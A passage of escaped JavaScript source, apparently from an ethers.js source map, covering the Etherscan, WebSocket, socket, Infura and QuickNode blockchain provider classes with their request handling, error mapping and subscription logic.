Promise.resolve(true);\n };\n request.processFunc = async (request, response) => {\n const result = response.hasBody() ? JSON.parse(toUtf8String(response.body)) : {};\n const throttle = ((typeof (result.result) === \"string\") ? result.result : \"\").toLowerCase().indexOf(\"rate limit\") >= 0;\n if (module === \"proxy\") {\n // This JSON response indicates we are being throttled\n if (result && result.status == 0 && result.message == \"NOTOK\" && throttle) {\n this.emit(\"debug\", { action: \"receiveError\", id, reason: \"proxy-NOTOK\", error: result });\n response.throwThrottleError(result.result, THROTTLE);\n }\n }\n else {\n if (throttle) {\n this.emit(\"debug\", { action: \"receiveError\", id, reason: \"null result\", error: result.result });\n response.throwThrottleError(result.result, THROTTLE);\n }\n }\n return response;\n };\n if (payload) {\n request.setHeader(\"content-type\", \"application/x-www-form-urlencoded; charset=UTF-8\");\n request.body = Object.keys(payload).map((k) => `${k}=${payload[k]}`).join(\"&\");\n }\n const response = await request.send();\n try {\n response.assertOk();\n }\n catch (error) {\n this.emit(\"debug\", { action: \"receiveError\", id, error, reason: \"assertOk\" });\n assert(false, \"response error\", \"SERVER_ERROR\", { request, response });\n }\n if (!response.hasBody()) {\n this.emit(\"debug\", { action: \"receiveError\", id, error: \"missing body\", reason: \"null body\" });\n assert(false, \"missing response\", \"SERVER_ERROR\", { request, response });\n }\n const result = JSON.parse(toUtf8String(response.body));\n if (module === \"proxy\") {\n if (result.jsonrpc != \"2.0\") {\n this.emit(\"debug\", { action: \"receiveError\", id, result, reason: \"invalid JSON-RPC\" });\n assert(false, \"invalid JSON-RPC response (missing jsonrpc='2.0')\", \"SERVER_ERROR\", { request, response, info: { result } });\n }\n if (result.error) {\n this.emit(\"debug\", { action: \"receiveError\", id, result, reason: \"JSON-RPC error\" });\n assert(false, \"error response\", \"SERVER_ERROR\", { request, response, info: { result } });\n }\n this.emit(\"debug\", { action: \"receiveRequest\", id, result });\n return result.result;\n }\n else {\n // getLogs, getHistory have weird success responses\n if (result.status == 0 && (result.message === \"No records found\" || result.message === \"No transactions found\")) {\n this.emit(\"debug\", { action: \"receiveRequest\", id, result });\n return result.result;\n }\n if (result.status != 1 || (typeof (result.message) === \"string\" && !result.message.match(/^OK/))) {\n this.emit(\"debug\", { action: \"receiveError\", id, result });\n assert(false, \"error response\", \"SERVER_ERROR\", { request, response, info: { result } });\n }\n this.emit(\"debug\", { action: \"receiveRequest\", id, result });\n return result.result;\n }\n }\n /**\n * Returns %%transaction%% normalized for the Etherscan API.\n */\n _getTransactionPostData(transaction) {\n const result = {};\n for (let key in transaction) {\n if (skipKeys.indexOf(key) >= 0) {\n continue;\n }\n if (transaction[key] == null) {\n continue;\n }\n let value = transaction[key];\n if (key === \"type\" && value === 0) {\n continue;\n }\n if (key === \"blockTag\" && value === \"latest\") {\n continue;\n }\n // Quantity-types require no leading zero, unless 0\n if ({ type: true, gasLimit: true, gasPrice: true, maxFeePerGs: true, maxPriorityFeePerGas: true, nonce: true, value: true }[key]) {\n value = toQuantity(value);\n }\n else if (key === \"accessList\") {\n value = \"[\" + accessListify(value).map((set) => {\n return `{address:\"${set.address}\",storageKeys:[\"${set.storageKeys.join('\",\"')}\"]}`;\n }).join(\",\") + \"]\";\n }\n else if (key === \"blobVersionedHashes\") {\n if (value.length === 0) {\n continue;\n }\n // @TODO: update this once the API supports blobs\n assert(false, \"Etherscan API does not support blobVersionedHashes\", \"UNSUPPORTED_OPERATION\", {\n operation: \"_getTransactionPostData\",\n info: { transaction }\n });\n }\n else {\n value = hexlify(value);\n }\n result[key] = value;\n }\n return result;\n }\n /**\n * Throws the normalized Etherscan error.\n */\n _checkError(req, error, transaction) {\n // Pull any message out if, possible\n let message = \"\";\n if (isError(error, \"SERVER_ERROR\")) {\n // Check for an error emitted by a proxy call\n try {\n message = error.info.result.error.message;\n }\n catch (e) { }\n if (!message) {\n try {\n message = error.info.message;\n }\n catch (e) { }\n }\n }\n if (req.method === \"estimateGas\") {\n if (!message.match(/revert/i) && message.match(/insufficient funds/i)) {\n assert(false, \"insufficient funds\", \"INSUFFICIENT_FUNDS\", {\n transaction: req.transaction\n });\n }\n }\n if (req.method === \"call\" || req.method === \"estimateGas\") {\n if (message.match(/execution reverted/i)) {\n let data = \"\";\n try {\n data = error.info.result.error.data;\n }\n catch (error) { }\n const e = AbiCoder.getBuiltinCallException(req.method, req.transaction, data);\n e.info = { request: req, error };\n throw e;\n }\n }\n if (message) {\n if (req.method === \"broadcastTransaction\") {\n const transaction = Transaction.from(req.signedTransaction);\n if (message.match(/replacement/i) && message.match(/underpriced/i)) {\n assert(false, \"replacement fee too low\", \"REPLACEMENT_UNDERPRICED\", {\n transaction\n });\n }\n if (message.match(/insufficient funds/)) {\n assert(false, \"insufficient funds for intrinsic transaction cost\", \"INSUFFICIENT_FUNDS\", {\n transaction\n });\n }\n if (message.match(/same hash was already imported|transaction nonce is too low|nonce too low/)) {\n assert(false, \"nonce has already been used\", \"NONCE_EXPIRED\", {\n transaction\n });\n }\n }\n }\n // Something we could not process\n throw error;\n }\n async _detectNetwork() {\n return this.network;\n }\n async _perform(req) {\n switch (req.method) {\n case \"chainId\":\n return this.network.chainId;\n case \"getBlockNumber\":\n return this.fetch(\"proxy\", { action: \"eth_blockNumber\" });\n case \"getGasPrice\":\n return this.fetch(\"proxy\", { action: \"eth_gasPrice\" });\n case \"getPriorityFee\":\n // This is temporary until Etherscan completes support\n if (this.network.name === \"mainnet\") {\n return \"1000000000\";\n }\n else if (this.network.name === \"optimism\") {\n return \"1000000\";\n }\n else {\n throw new Error(\"fallback onto the AbstractProvider default\");\n }\n /* Working with Etherscan to get this added:\n try {\n const test = await this.fetch(\"proxy\", {\n action: \"eth_maxPriorityFeePerGas\"\n });\n console.log(test);\n return test;\n } catch (e) {\n console.log(\"DEBUG\", e);\n throw e;\n }\n */\n /* This might be safe; but due to rounding neither myself\n or Etherscan are necessarily comfortable with this. :)\n try {\n const result = await this.fetch(\"gastracker\", { action: \"gasoracle\" });\n console.log(result);\n const gasPrice = parseUnits(result.SafeGasPrice, \"gwei\");\n const baseFee = parseUnits(result.suggestBaseFee, \"gwei\");\n const priorityFee = gasPrice - baseFee;\n if (priorityFee < 0) { throw new Error(\"negative priority fee; defer to abstract provider default\"); }\n return priorityFee;\n } catch (error) {\n console.log(\"DEBUG\", error);\n throw error;\n }\n */\n case \"getBalance\":\n // Returns base-10 result\n return this.fetch(\"account\", {\n action: \"balance\",\n address: req.address,\n tag: req.blockTag\n });\n case \"getTransactionCount\":\n return this.fetch(\"proxy\", {\n action: \"eth_getTransactionCount\",\n address: req.address,\n tag: req.blockTag\n });\n case \"getCode\":\n return this.fetch(\"proxy\", {\n action: \"eth_getCode\",\n address: req.address,\n tag: req.blockTag\n });\n case \"getStorage\":\n return this.fetch(\"proxy\", {\n action: \"eth_getStorageAt\",\n address: req.address,\n position: req.position,\n tag: req.blockTag\n });\n case \"broadcastTransaction\":\n return this.fetch(\"proxy\", {\n action: \"eth_sendRawTransaction\",\n hex: req.signedTransaction\n }, true).catch((error) => {\n return this._checkError(req, error, req.signedTransaction);\n });\n case \"getBlock\":\n if (\"blockTag\" in req) {\n return this.fetch(\"proxy\", {\n action: \"eth_getBlockByNumber\",\n tag: req.blockTag,\n boolean: (req.includeTransactions ? \"true\" : \"false\")\n });\n }\n assert(false, \"getBlock by blockHash not supported by Etherscan\", \"UNSUPPORTED_OPERATION\", {\n operation: \"getBlock(blockHash)\"\n });\n case \"getTransaction\":\n return this.fetch(\"proxy\", {\n action: \"eth_getTransactionByHash\",\n txhash: req.hash\n });\n case \"getTransactionReceipt\":\n return this.fetch(\"proxy\", {\n action: \"eth_getTransactionReceipt\",\n txhash: req.hash\n });\n case \"call\": {\n if (req.blockTag !== \"latest\") {\n throw new Error(\"EtherscanProvider does not support blockTag for call\");\n }\n const postData = this._getTransactionPostData(req.transaction);\n postData.module = \"proxy\";\n postData.action = \"eth_call\";\n try {\n return await this.fetch(\"proxy\", postData, true);\n }\n catch (error) {\n return this._checkError(req, error, req.transaction);\n }\n }\n case \"estimateGas\": {\n const postData = this._getTransactionPostData(req.transaction);\n postData.module = \"proxy\";\n postData.action = \"eth_estimateGas\";\n try {\n return await this.fetch(\"proxy\", postData, true);\n }\n catch (error) {\n return this._checkError(req, error, req.transaction);\n }\n }\n /*\n case \"getLogs\": {\n // Needs to complain if more than one address is passed in\n const args: Record = { action: \"getLogs\" }\n \n if (params.filter.fromBlock) {\n args.fromBlock = checkLogTag(params.filter.fromBlock);\n }\n \n if (params.filter.toBlock) {\n args.toBlock = checkLogTag(params.filter.toBlock);\n }\n \n if (params.filter.address) {\n args.address = params.filter.address;\n }\n \n // @TODO: We can handle slightly more complicated logs using the logs API\n if (params.filter.topics && params.filter.topics.length > 0) {\n if (params.filter.topics.length > 1) {\n logger.throwError(\"unsupported topic count\", Logger.Errors.UNSUPPORTED_OPERATION, { topics: params.filter.topics });\n }\n if (params.filter.topics.length === 1) {\n const topic0 = params.filter.topics[0];\n if (typeof(topic0) !== \"string\" || topic0.length !== 66) {\n logger.throwError(\"unsupported topic format\", Logger.Errors.UNSUPPORTED_OPERATION, { topic0: topic0 });\n }\n args.topic0 = topic0;\n }\n }\n \n const logs: Array = await this.fetch(\"logs\", args);\n \n // Cache txHash => blockHash\n let blocks: { [tag: string]: string } = {};\n \n // Add any missing blockHash to the logs\n for (let i = 0; i < logs.length; i++) {\n const log = logs[i];\n if (log.blockHash != null) { continue; }\n if (blocks[log.blockNumber] == null) {\n const block = await this.getBlock(log.blockNumber);\n if (block) {\n blocks[log.blockNumber] = block.hash;\n }\n }\n \n log.blockHash = blocks[log.blockNumber];\n }\n \n return logs;\n }\n */\n default:\n break;\n }\n return super._perform(req);\n }\n async getNetwork() {\n return this.network;\n }\n /**\n * Resolves to the current price of ether.\n *\n * This returns ``0`` on any network other than ``mainnet``.\n */\n async getEtherPrice() {\n if (this.network.name !== \"mainnet\") {\n return 0.0;\n }\n return parseFloat((await this.fetch(\"stats\", { action: \"ethprice\" })).ethusd);\n }\n /**\n * Resolves to a [Contract]] for %%address%%, using the\n * Etherscan API to retreive the Contract ABI.\n */\n async getContract(_address) {\n let address = this._getAddress(_address);\n if (isPromise(address)) {\n address = await address;\n }\n try {\n const resp = await this.fetch(\"contract\", {\n action: \"getabi\", address\n });\n const abi = JSON.parse(resp);\n return new Contract(address, abi, this);\n }\n catch (error) {\n return null;\n }\n }\n isCommunityResource() {\n return (this.apiKey == null);\n }\n}\n//# sourceMappingURL=provider-etherscan.js.map","function getGlobal() {\n if (typeof self !== 'undefined') {\n return self;\n }\n if (typeof window !== 'undefined') {\n return window;\n }\n if (typeof global !== 'undefined') {\n return global;\n }\n throw new Error('unable to locate global object');\n}\n;\nconst _WebSocket = getGlobal().WebSocket;\nexport { _WebSocket as WebSocket };\n//# sourceMappingURL=ws-browser.js.map","/**\n * Generic long-lived socket provider.\n *\n * Sub-classing notes\n * - a sub-class MUST call the `_start()` method once connected\n * - a sub-class MUST override the `_write(string)` method\n * - a sub-class MUST call `_processMessage(string)` for each message\n *\n * @_subsection: api/providers/abstract-provider:Socket Providers [about-socketProvider]\n */\nimport { UnmanagedSubscriber } from \"./abstract-provider.js\";\nimport { assert, assertArgument, makeError } from \"../utils/index.js\";\nimport { JsonRpcApiProvider } from \"./provider-jsonrpc.js\";\n/**\n * A **SocketSubscriber** uses a socket transport to handle events and\n * should use [[_emit]] to manage the events.\n */\nexport class SocketSubscriber {\n #provider;\n #filter;\n /**\n * The filter.\n */\n get filter() { return JSON.parse(this.#filter); }\n #filterId;\n #paused;\n #emitPromise;\n /**\n * Creates a new **SocketSubscriber** attached to %%provider%% listening\n * to %%filter%%.\n */\n constructor(provider, filter) {\n this.#provider = provider;\n this.#filter = JSON.stringify(filter);\n this.#filterId = null;\n this.#paused = null;\n this.#emitPromise = null;\n }\n start() {\n this.#filterId = this.#provider.send(\"eth_subscribe\", this.filter).then((filterId) => {\n ;\n this.#provider._register(filterId, this);\n return filterId;\n });\n }\n stop() {\n (this.#filterId).then((filterId) => {\n if (this.#provider.destroyed) {\n return;\n }\n this.#provider.send(\"eth_unsubscribe\", [filterId]);\n });\n this.#filterId = null;\n }\n // @TODO: pause should trap the current blockNumber, unsub, and on resume use getLogs\n // and resume\n pause(dropWhilePaused) {\n assert(dropWhilePaused, \"preserve logs while paused not supported by SocketSubscriber yet\", \"UNSUPPORTED_OPERATION\", { operation: \"pause(false)\" });\n this.#paused = !!dropWhilePaused;\n }\n resume() {\n this.#paused = null;\n }\n /**\n * @_ignore:\n */\n _handleMessage(message) {\n if (this.#filterId == null) {\n return;\n }\n if (this.#paused === null) {\n let emitPromise = this.#emitPromise;\n if (emitPromise == null) {\n emitPromise = this._emit(this.#provider, message);\n }\n else {\n emitPromise = emitPromise.then(async () => {\n await this._emit(this.#provider, message);\n });\n }\n this.#emitPromise = emitPromise.then(() => {\n if (this.#emitPromise === emitPromise) {\n this.#emitPromise = null;\n }\n });\n }\n }\n /**\n * Sub-classes **must** override this to emit the events on the\n * provider.\n */\n async _emit(provider, message) {\n throw new Error(\"sub-classes must implemente this; _emit\");\n }\n}\n/**\n * A **SocketBlockSubscriber** listens for ``newHeads`` events and emits\n * ``\"block\"`` events.\n */\nexport class SocketBlockSubscriber extends SocketSubscriber {\n /**\n * @_ignore:\n */\n constructor(provider) {\n super(provider, [\"newHeads\"]);\n }\n async _emit(provider, message) {\n provider.emit(\"block\", parseInt(message.number));\n }\n}\n/**\n * A **SocketPendingSubscriber** listens for pending transacitons and emits\n * ``\"pending\"`` events.\n */\nexport class SocketPendingSubscriber extends SocketSubscriber {\n /**\n * @_ignore:\n */\n constructor(provider) {\n super(provider, [\"newPendingTransactions\"]);\n }\n async _emit(provider, message) {\n provider.emit(\"pending\", message);\n }\n}\n/**\n * A **SocketEventSubscriber** listens for event logs.\n */\nexport class SocketEventSubscriber extends SocketSubscriber {\n #logFilter;\n /**\n * The filter.\n */\n get logFilter() { return JSON.parse(this.#logFilter); }\n /**\n * @_ignore:\n */\n constructor(provider, filter) {\n super(provider, [\"logs\", filter]);\n this.#logFilter = JSON.stringify(filter);\n }\n async _emit(provider, message) {\n provider.emit(this.logFilter, provider._wrapLog(message, provider._network));\n }\n}\n/**\n * A **SocketProvider** is backed by a long-lived connection over a\n * socket, which can subscribe and receive real-time messages over\n * its communication channel.\n */\nexport class SocketProvider extends JsonRpcApiProvider {\n #callbacks;\n // Maps each filterId to its subscriber\n #subs;\n // If any events come in before a subscriber has finished\n // registering, queue them\n #pending;\n /**\n * Creates a new **SocketProvider** connected to %%network%%.\n *\n * If unspecified, the network will be discovered.\n */\n constructor(network, _options) {\n // Copy the options\n const options = Object.assign({}, (_options != null) ? _options : {});\n // Support for batches is generally not supported for\n // connection-base providers; if this changes in the future\n // the _send should be updated to reflect this\n assertArgument(options.batchMaxCount == null || options.batchMaxCount === 1, \"sockets-based providers do not support batches\", \"options.batchMaxCount\", _options);\n options.batchMaxCount = 1;\n // Socket-based Providers (generally) cannot change their network,\n // since they have a long-lived connection; but let people override\n // this if they have just cause.\n if (options.staticNetwork == null) {\n options.staticNetwork = true;\n }\n super(network, options);\n this.#callbacks = new Map();\n this.#subs = new Map();\n this.#pending = new Map();\n }\n // This value is only valid after _start has been called\n /*\n get _network(): Network {\n if (this.#network == null) {\n throw new Error(\"this shouldn't happen\");\n }\n return this.#network.clone();\n }\n */\n _getSubscriber(sub) {\n switch (sub.type) {\n case \"close\":\n return new UnmanagedSubscriber(\"close\");\n case \"block\":\n return new SocketBlockSubscriber(this);\n case \"pending\":\n return new SocketPendingSubscriber(this);\n case \"event\":\n return new SocketEventSubscriber(this, sub.filter);\n case \"orphan\":\n // Handled auto-matically within AbstractProvider\n // when the log.removed = true\n if (sub.filter.orphan === \"drop-log\") {\n return new UnmanagedSubscriber(\"drop-log\");\n }\n }\n return super._getSubscriber(sub);\n }\n /**\n * Register a new subscriber. This is used internalled by Subscribers\n * and generally is unecessary unless extending capabilities.\n */\n _register(filterId, subscriber) {\n this.#subs.set(filterId, subscriber);\n const pending = this.#pending.get(filterId);\n if (pending) {\n for (const message of pending) {\n subscriber._handleMessage(message);\n }\n this.#pending.delete(filterId);\n }\n }\n async _send(payload) {\n // WebSocket provider doesn't accept batches\n assertArgument(!Array.isArray(payload), \"WebSocket does not support batch send\", \"payload\", payload);\n // @TODO: stringify payloads here and store to prevent mutations\n // Prepare a promise to respond to\n const promise = new Promise((resolve, reject) => {\n this.#callbacks.set(payload.id, { payload, resolve, reject });\n });\n // Wait until the socket is connected before writing to it\n await this._waitUntilReady();\n // Write the request to the socket\n await this._write(JSON.stringify(payload));\n return [await promise];\n }\n // Sub-classes must call this once they are connected\n /*\n async _start(): Promise {\n if (this.#ready) { return; }\n\n for (const { payload } of this.#callbacks.values()) {\n await this._write(JSON.stringify(payload));\n }\n\n this.#ready = (async function() {\n await super._start();\n })();\n }\n */\n /**\n * Sub-classes **must** call this with messages received over their\n * transport to be processed and dispatched.\n */\n async _processMessage(message) {\n const result = (JSON.parse(message));\n if (result && typeof (result) === \"object\" && \"id\" in result) {\n const callback = this.#callbacks.get(result.id);\n if (callback == null) {\n this.emit(\"error\", makeError(\"received result for unknown id\", \"UNKNOWN_ERROR\", {\n reasonCode: \"UNKNOWN_ID\",\n result\n }));\n return;\n }\n this.#callbacks.delete(result.id);\n callback.resolve(result);\n }\n else if (result && result.method === \"eth_subscription\") {\n const filterId = result.params.subscription;\n const subscriber = this.#subs.get(filterId);\n if (subscriber) {\n subscriber._handleMessage(result.params.result);\n }\n else {\n let pending = this.#pending.get(filterId);\n if (pending == null) {\n pending = [];\n this.#pending.set(filterId, pending);\n }\n pending.push(result.params.result);\n }\n }\n else {\n this.emit(\"error\", makeError(\"received unexpected message\", \"UNKNOWN_ERROR\", {\n reasonCode: \"UNEXPECTED_MESSAGE\",\n result\n }));\n return;\n }\n }\n /**\n * Sub-classes **must** override this to send %%message%% over their\n * transport.\n */\n async _write(message) {\n throw new Error(\"sub-classes must override this\");\n }\n}\n//# sourceMappingURL=provider-socket.js.map","import { WebSocket as _WebSocket } from \"./ws.js\"; /*-browser*/\nimport { SocketProvider } from \"./provider-socket.js\";\n/**\n * A JSON-RPC provider which is backed by a WebSocket.\n *\n * WebSockets are often preferred because they retain a live connection\n * to a server, which permits more instant access to events.\n *\n * However, this incurs higher server infrasturture costs, so additional\n * resources may be required to host your own WebSocket nodes and many\n * third-party services charge additional fees for WebSocket endpoints.\n */\nexport class WebSocketProvider extends SocketProvider {\n #connect;\n #websocket;\n get websocket() {\n if (this.#websocket == null) {\n throw new Error(\"websocket closed\");\n }\n return this.#websocket;\n }\n constructor(url, network, options) {\n super(network, options);\n if (typeof (url) === \"string\") {\n this.#connect = () => { return new _WebSocket(url); };\n this.#websocket = this.#connect();\n }\n else if (typeof (url) === \"function\") {\n this.#connect = url;\n this.#websocket = url();\n }\n else {\n this.#connect = null;\n this.#websocket = url;\n }\n this.websocket.onopen = async () => {\n try {\n await this._start();\n this.resume();\n }\n catch (error) {\n console.log(\"failed to start WebsocketProvider\", error);\n // @TODO: now what? Attempt reconnect?\n }\n };\n this.websocket.onmessage = (message) => {\n this._processMessage(message.data);\n };\n /*\n this.websocket.onclose = (event) => {\n // @TODO: What event.code should we reconnect on?\n const reconnect = false;\n if (reconnect) {\n this.pause(true);\n if (this.#connect) {\n this.#websocket = this.#connect();\n this.#websocket.onopen = ...\n // @TODO: this requires the super class to rebroadcast; move it there\n }\n this._reconnect();\n }\n };\n */\n }\n async _write(message) {\n this.websocket.send(message);\n }\n async destroy() {\n if (this.#websocket != null) {\n this.#websocket.close();\n this.#websocket = null;\n }\n super.destroy();\n }\n}\n//# sourceMappingURL=provider-websocket.js.map","/**\n * [[link-infura]] provides a third-party service for connecting to\n * various blockchains over JSON-RPC.\n *\n * **Supported Networks**\n *\n * - Ethereum Mainnet (``mainnet``)\n * - Goerli Testnet (``goerli``)\n * - Sepolia Testnet (``sepolia``)\n * - Arbitrum (``arbitrum``)\n * - Arbitrum Goerli Testnet (``arbitrum-goerli``)\n * - Arbitrum Sepolia Testnet (``arbitrum-sepolia``)\n * - Base (``base``)\n * - Base Goerlia Testnet (``base-goerli``)\n * - Base Sepolia Testnet (``base-sepolia``)\n * - BNB Smart Chain Mainnet (``bnb``)\n * - BNB Smart Chain Testnet (``bnbt``)\n * - Linea (``linea``)\n * - Linea Goerli Testnet (``linea-goerli``)\n * - Linea Sepolia Testnet (``linea-sepolia``)\n * - Optimism (``optimism``)\n * - Optimism Goerli Testnet (``optimism-goerli``)\n * - Optimism Sepolia Testnet (``optimism-sepolia``)\n * - Polygon (``matic``)\n * - Polygon Amoy Testnet (``matic-amoy``)\n * - Polygon Mumbai Testnet (``matic-mumbai``)\n *\n * @_subsection: api/providers/thirdparty:INFURA [providers-infura]\n */\nimport { defineProperties, FetchRequest, assert, assertArgument } from \"../utils/index.js\";\nimport { showThrottleMessage } from \"./community.js\";\nimport { Network } from \"./network.js\";\nimport { JsonRpcProvider } from \"./provider-jsonrpc.js\";\nimport { WebSocketProvider } from \"./provider-websocket.js\";\nconst defaultProjectId = \"84842078b09946638c03157f83405213\";\nfunction getHost(name) {\n switch (name) {\n case \"mainnet\":\n return \"mainnet.infura.io\";\n case \"goerli\":\n return \"goerli.infura.io\";\n case \"sepolia\":\n return \"sepolia.infura.io\";\n case \"arbitrum\":\n return \"arbitrum-mainnet.infura.io\";\n case \"arbitrum-goerli\":\n return \"arbitrum-goerli.infura.io\";\n case \"arbitrum-sepolia\":\n return \"arbitrum-sepolia.infura.io\";\n case \"base\":\n return \"base-mainnet.infura.io\";\n case \"base-goerlia\": // @TODO: Remove this typo in the future!\n case \"base-goerli\":\n return \"base-goerli.infura.io\";\n case \"base-sepolia\":\n return \"base-sepolia.infura.io\";\n case \"bnb\":\n return \"bsc-mainnet.infura.io\";\n case \"bnbt\":\n return \"bsc-testnet.infura.io\";\n case \"linea\":\n return \"linea-mainnet.infura.io\";\n case \"linea-goerli\":\n return \"linea-goerli.infura.io\";\n case \"linea-sepolia\":\n return \"linea-sepolia.infura.io\";\n case \"matic\":\n return \"polygon-mainnet.infura.io\";\n case \"matic-amoy\":\n return \"polygon-amoy.infura.io\";\n case \"matic-mumbai\":\n return \"polygon-mumbai.infura.io\";\n case \"optimism\":\n return \"optimism-mainnet.infura.io\";\n case \"optimism-goerli\":\n return \"optimism-goerli.infura.io\";\n case \"optimism-sepolia\":\n return \"optimism-sepolia.infura.io\";\n }\n assertArgument(false, \"unsupported network\", \"network\", name);\n}\n/**\n * The **InfuraWebSocketProvider** connects to the [[link-infura]]\n * WebSocket end-points.\n *\n * By default, a highly-throttled API key is used, which is\n * appropriate for quick prototypes and simple scripts. To\n * gain access to an increased rate-limit, it is highly\n * recommended to [sign up here](link-infura-signup).\n */\nexport class InfuraWebSocketProvider extends WebSocketProvider {\n /**\n * The Project ID for the INFURA connection.\n */\n projectId;\n /**\n * The Project Secret.\n *\n * If null, no authenticated requests are made. This should not\n * be used outside of private contexts.\n */\n projectSecret;\n /**\n * Creates a new **InfuraWebSocketProvider**.\n */\n constructor(network, projectId) {\n const provider = new InfuraProvider(network, projectId);\n const req = provider._getConnection();\n assert(!req.credentials, \"INFURA WebSocket project secrets unsupported\", \"UNSUPPORTED_OPERATION\", { operation: \"InfuraProvider.getWebSocketProvider()\" });\n const url = req.url.replace(/^http/i, \"ws\").replace(\"/v3/\", \"/ws/v3/\");\n super(url, provider._network);\n defineProperties(this, {\n projectId: provider.projectId,\n projectSecret: provider.projectSecret\n });\n }\n isCommunityResource() {\n return (this.projectId === defaultProjectId);\n }\n}\n/**\n * The **InfuraProvider** connects to the [[link-infura]]\n * JSON-RPC end-points.\n *\n * By default, a highly-throttled API key is used, which is\n * appropriate for quick prototypes and simple scripts. To\n * gain access to an increased rate-limit, it is highly\n * recommended to [sign up here](link-infura-signup).\n */\nexport class InfuraProvider extends JsonRpcProvider {\n /**\n * The Project ID for the INFURA connection.\n */\n projectId;\n /**\n * The Project Secret.\n *\n * If null, no authenticated requests are made. This should not\n * be used outside of private contexts.\n */\n projectSecret;\n /**\n * Creates a new **InfuraProvider**.\n */\n constructor(_network, projectId, projectSecret) {\n if (_network == null) {\n _network = \"mainnet\";\n }\n const network = Network.from(_network);\n if (projectId == null) {\n projectId = defaultProjectId;\n }\n if (projectSecret == null) {\n projectSecret = null;\n }\n const request = InfuraProvider.getRequest(network, projectId, projectSecret);\n super(request, network, { staticNetwork: network });\n defineProperties(this, { projectId, projectSecret });\n }\n _getProvider(chainId) {\n try {\n return new InfuraProvider(chainId, this.projectId, this.projectSecret);\n }\n catch (error) { }\n return super._getProvider(chainId);\n }\n isCommunityResource() {\n return (this.projectId === defaultProjectId);\n }\n /**\n * Creates a new **InfuraWebSocketProvider**.\n */\n static getWebSocketProvider(network, projectId) {\n return new InfuraWebSocketProvider(network, projectId);\n }\n /**\n * Returns a prepared request for connecting to %%network%%\n * with %%projectId%% and %%projectSecret%%.\n */\n static getRequest(network, projectId, projectSecret) {\n if (projectId == null) {\n projectId = defaultProjectId;\n }\n if (projectSecret == null) {\n projectSecret = null;\n }\n const request = new FetchRequest(`https:/\\/${getHost(network.name)}/v3/${projectId}`);\n request.allowGzip = true;\n if (projectSecret) {\n request.setCredentials(\"\", projectSecret);\n }\n if (projectId === defaultProjectId) {\n request.retryFunc = async (request, response, attempt) => {\n showThrottleMessage(\"InfuraProvider\");\n return true;\n };\n }\n return request;\n }\n}\n//# sourceMappingURL=provider-infura.js.map","/**\n * [[link-quicknode]] provides a third-party service for connecting to\n * various blockchains over JSON-RPC.\n *\n * **Supported Networks**\n *\n * - Ethereum Mainnet (``mainnet``)\n * - Goerli Testnet (``goerli``)\n * - Sepolia Testnet (``sepolia``)\n * - Holesky Testnet (``holesky``)\n * - Arbitrum (``arbitrum``)\n * - Arbitrum Goerli Testnet (``arbitrum-goerli``)\n * - Arbitrum Sepolia Testnet (``arbitrum-sepolia``)\n * - Base Mainnet (``base``);\n * - Base Goerli Testnet (``base-goerli``);\n * - Base Sepolia Testnet (``base-sepolia``);\n * - BNB Smart Chain Mainnet (``bnb``)\n * - BNB Smart Chain Testnet (``bnbt``)\n * - Optimism (``optimism``)\n * - Optimism Goerli Testnet (``optimism-goerli``)\n * - Optimism Sepolia Testnet (``optimism-sepolia``)\n * - Polygon (``matic``)\n * - Polygon Mumbai Testnet (``matic-mumbai``)\n *\n * @_subsection: api/providers/thirdparty:QuickNode [providers-quicknode]\n */\nimport { defineProperties, FetchRequest, assertArgument } from \"../utils/index.js\";\nimport { showThrottleMessage } from \"./community.js\";\nimport { Network } from \"./network.js\";\nimport { JsonRpcProvider } from \"./provider-jsonrpc.js\";\nconst defaultToken = \"919b412a057b5e9c9b6dce193c5a60242d6efadb\";\nfunction getHost(name) {\n switch (name) {\n case \"mainnet\":\n return \"ethers.quiknode.pro\";\n case \"goerli\":\n return \"ethers.ethereum-goerli.quiknode.pro\";\n case \"sepolia\":\n return \"ethers.ethereum-sepolia.quiknode.pro\";\n case \"holesky\":\n return \"ethers.ethereum-holesky.quiknode.pro\";\n case \"arbitrum\":\n return \"ethers.arbitrum-mainnet.quiknode.pro\";\n case \"arbitrum-goerli\":\n return \"ethers.arbitrum-goerli.quiknode.pro\";\n case \"arbitrum-sepolia\":\n return \"ethers.arbitrum-sepolia.quiknode.pro\";\n case \"base\":\n return \"ethers.base-mainnet.quiknode.pro\";\n case \"base-goerli\":\n return \"ethers.base-goerli.quiknode.pro\";\n case \"base-spolia\":\n return \"ethers.base-sepolia.quiknode.pro\";\n case \"bnb\":\n return \"ethers.bsc.quiknode.pro\";\n case \"bnbt\":\n return \"ethers.bsc-testnet.quiknode.pro\";\n case \"matic\":\n return \"ethers.matic.quiknode.pro\";\n case \"matic-mumbai\":\n return \"ethers.matic-testnet.quiknode.pro\";\n case \"optimism\":\n return \"ethers.optimism.quiknode.pro\";\n case \"optimism-goerli\":\n return \"ethers.optimism-goerli.quiknode.pro\";\n case \"optimism-sepolia\":\n return \"ethers.optimism-sepolia.quiknode.pro\";\n case \"xdai\":\n return \"ethers.xdai.quiknode.pro\";\n }\n assertArgument(false, \"unsupported network\", \"network\", name);\n}\n/*\n@TODO:\n These networks are not currently present in the Network\n default included networks. Research them and ensure they\n are EVM compatible and work with ethers\n\n http://ethers.matic-amoy.quiknode.pro\n\n http://ethers.avalanche-mainnet.quiknode.pro\n http://ethers.avalanche-testnet.quiknode.pro\n http://ethers.blast-sepolia.quiknode.pro\n http://ethers.celo-mainnet.quiknode.pro\n http://ethers.fantom.quiknode.pro\n http://ethers.imx-demo.quiknode.pro\n http://ethers.imx-mainnet.quiknode.pro\n http://ethers.imx-testnet.quiknode.pro\n http://ethers.near-mainnet.quiknode.pro\n http://ethers.near-testnet.quiknode.pro\n http://ethers.nova-mainnet.quiknode.pro\n http://ethers.scroll-mainnet.quiknode.pro\n http://ethers.scroll-testnet.quiknode.pro\n http://ethers.tron-mainnet.quiknode.pro\n http://ethers.zkevm-mainnet.quiknode.pro\n http://ethers.zkevm-testnet.quiknode.pro\n http://ethers.zksync-mainnet.quiknode.pro\n http://ethers.zksync-testnet.quiknode.pro\n*/\n/**\n * The **QuickNodeProvider** connects to the [[link-quicknode]]\n * JSON-RPC end-points.\n *\n * By default, a highly-throttled API token is used, which is\n * appropriate for quick prototypes and simple scripts. To\n * gain access to an increased rate-limit, it is highly\n * recommended to [sign up here](link-quicknode).\n */\nexport class QuickNodeProvider extends JsonRpcProvider {\n /**\n * The API token.\n */\n token;\n /**\n * Creates a new **QuickNodeProvider**.\n */\n constructor(_network, token) {\n if (_network == null) {\n _network = \"mainnet\";\n }\n const network = Network.from(_network);\n if 